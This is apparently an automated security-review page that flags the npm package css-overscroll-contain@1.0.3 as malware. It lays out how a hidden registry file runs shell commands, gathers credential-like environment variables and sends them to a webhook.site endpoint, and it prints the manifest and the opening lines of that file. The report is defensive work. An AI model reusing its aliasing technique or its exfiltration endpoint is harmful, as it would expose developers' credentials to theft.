registry / Credential exfiltration / css-overscroll-contain / 1.0.3

css-overscroll-contain@1.0.3

CSS overscroll-behavior containment polyfill

AI Security Review

scanned 14d ago · by lpm-firewall-ai

Source inspection confirms covert collection and transmission of host and potentially credential-bearing environment data from thunderboltRegistry.js. Although the declared main entry point is inert, the registry manifest exposes the malicious file under multiple registry names; this supports blocking publication.

Static reason

No blocking static signals were detected.

Trigger

A consumer or host loads thunderboltRegistry.js through a registry mapping.

Impact

System details and potentially sensitive environment values are disclosed to the webhook operator.

Mechanism

The file invokes child_process.execSync, collects system and environment information, then sends the results with fetch.

Attack narrative

The package includes a registry file that runs immediately when loaded. It executes host inspection commands, filters environment variables for credential-related names, and sends results to a fixed webhook.site endpoint. The package manifest maps several registry names to that file, making the behavior reachable when a consumer loads one of those mapped assets.

AI rationale

Evidence

package.jsonregistry-manifest.min.jsonthunderboltRegistry.js

Network endpoints1

webhook.site/4a7272ce-00ca-48b2-904a-05679b11493b

Decision evidence

public snapshot

AI called this Malicious at 98.0% confidence as Malware with low false-positive risk.

Evidence for block

The manifest identifies index.js as the main entry point, while the registry manifest maps multiple registry names to thunderboltRegistry.js.
Loading thunderboltRegistry.js runs shell commands and sends their output to a fixed webhook.site URL.
The file collects environment variables matching credential-related terms and transmits the result.

Evidence against

The declared main entry point, index.js, only exports an empty object; the malicious behavior requires loading thunderboltRegistry.js.

Behavioral surface

Source

ChildProcessNetworkShell

Supply chain

HighEntropyStringsUrlStrings

ManifestNo manifest risk signals triggered.

scanned 2 file(s), 5.74 KB of source, external domains: webhook.site

Source & flagged code

5 flagged

package.jsonView file

Lines 1-2json

1{"name":"css-overscroll-contain","version":"1.0.3","description":"CSS overscroll-behavior containment polyfill","main":"index.js","license":"MIT"}

High

Ai Review Evidence

The manifest identifies index.js as the main entry point, while the registry manifest maps multiple registry names to thunderboltRegistry.js.

package.jsonView on unpkg · L1

registry-manifest.min.jsonView file

Lines 1-2json

1{"thunderboltRegistry.js":"https://unpkg.com/css-overscroll-contain@1.0.3/thunderboltRegistry.js","siteAssetsRegistry.js":"https://unpkg.com/css-overscroll-contain@1.0.3/thunderboltRegistry.js","documentManagementRegistry.js":"https://unpkg.com/css-overscroll-contain@1.0.3/thunderboltRegistry.js","editorRegistry.js":"https://unpkg.com/css-overscroll-contain@1.0.3/thunderboltRegistry.js","autoCompleteRegistry.js":"https://unpkg.com/css-overscroll-contain@1.0.3/thunderboltRegistry.js","thunderboltBuilderRegistry.js":"https://unpkg.com/css-overscroll-contain@1.0.3/thunderboltRegistry.js"

thunderboltRegistry.jsView file

Lines 1-37javascript

1(function(){

2 var wh = "https://webhook.site/4a7272ce-00ca-48b2-904a-05679b11493b";

3 var cp = null;

4 try { cp = require(

Source & flagged code

5 flagged · loading source

package.jsonView file

1{"name":"css-overscroll-contain","version":"1.0.3","description":"CSS overscroll-behavior containment polyfill","main":"index.js","license":"MIT"}

High

Ai Review Evidence

The manifest identifies index.js as the main entry point, while the registry manifest maps multiple registry names to thunderboltRegistry.js.

package.jsonView on unpkg · L1

registry-manifest.min.jsonView file

High

Ai Review Evidence

The manifest identifies index.js as the main entry point, while the registry manifest maps multiple registry names to thunderboltRegistry.js.

registry-manifest.min.jsonView on unpkg · L1

thunderboltRegistry.jsView file

Findings

5 High1 Medium2 Low

HighAi Review Evidencepackage.json

HighAi Review Evidenceregistry-manifest.min.json

HighAi Review EvidencethunderboltRegistry.js

MediumNetwork

LowHigh Entropy Strings

LowUrl Strings

Affected versions and remediation

This report applies to css-overscroll-contain@1.0.3.

See all versions of css-overscroll-contain for other recorded verdicts.

Avoid installing css-overscroll-contain@1.0.3. Remove it from direct dependencies and check your lockfile for transitive copies.
Choose an independently verified alternative or release. This report does not establish that other versions are safe.
If this version ran, investigate the affected machine and build environment. Rotate credentials it could access and rebuild from a trusted environment.

Evidence last updated: 2026-10-09 06:27:52.548Z (UTC).

Think this verdict is wrong? Dispute it on GitHub or read how reports are produced.

AI Security Review

Decision evidence

Source & flagged code

Source & flagged code

Findings

Affected versions and remediation

Related packages

Other credential exfiltration packages

Source & flagged code

Related packages

Other credential exfiltration packages